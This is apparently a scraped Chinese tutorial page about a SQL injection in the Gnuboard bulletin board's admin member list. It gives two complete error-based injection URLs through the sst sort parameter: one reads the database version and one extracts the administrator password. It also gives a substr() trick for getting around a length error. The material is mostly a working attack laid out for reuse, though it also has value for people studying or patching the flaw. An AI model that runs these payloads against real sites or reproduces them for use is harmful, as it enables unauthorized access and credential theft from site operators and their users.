好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Gnuboard Injection Vulnerabilities - 网站安全 - 自学php

kr比较流行的bbs。只是后台注入思密达~

 

此注入属于order by后的注入。可通过order by a,(select语句)执行。此时,括号内的select语句仅当做一个子查询进行使用,当语句语法正确时返回正常页面,无法获取数据。

此时我们可以使用 mysql 报错注入来获取数据。如:

http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)

获取管理员密码:

http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select mb_password from g4_member limit 0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)

当执行以上语句的时候,错误提示为:

1242 : Subquery returns more than 1 row  

原因: 此语句默认读取长度为65位,而mb_password为varchar类型,长度为255。此时我们使用substr()函数来限制读取长度。即:substr(mb_password,1,55)

即可获取管理密码。

查看更多关于Gnuboard Injection Vulnerabilities - 网站安全 - 自学php的详细内容...

  阅读:38次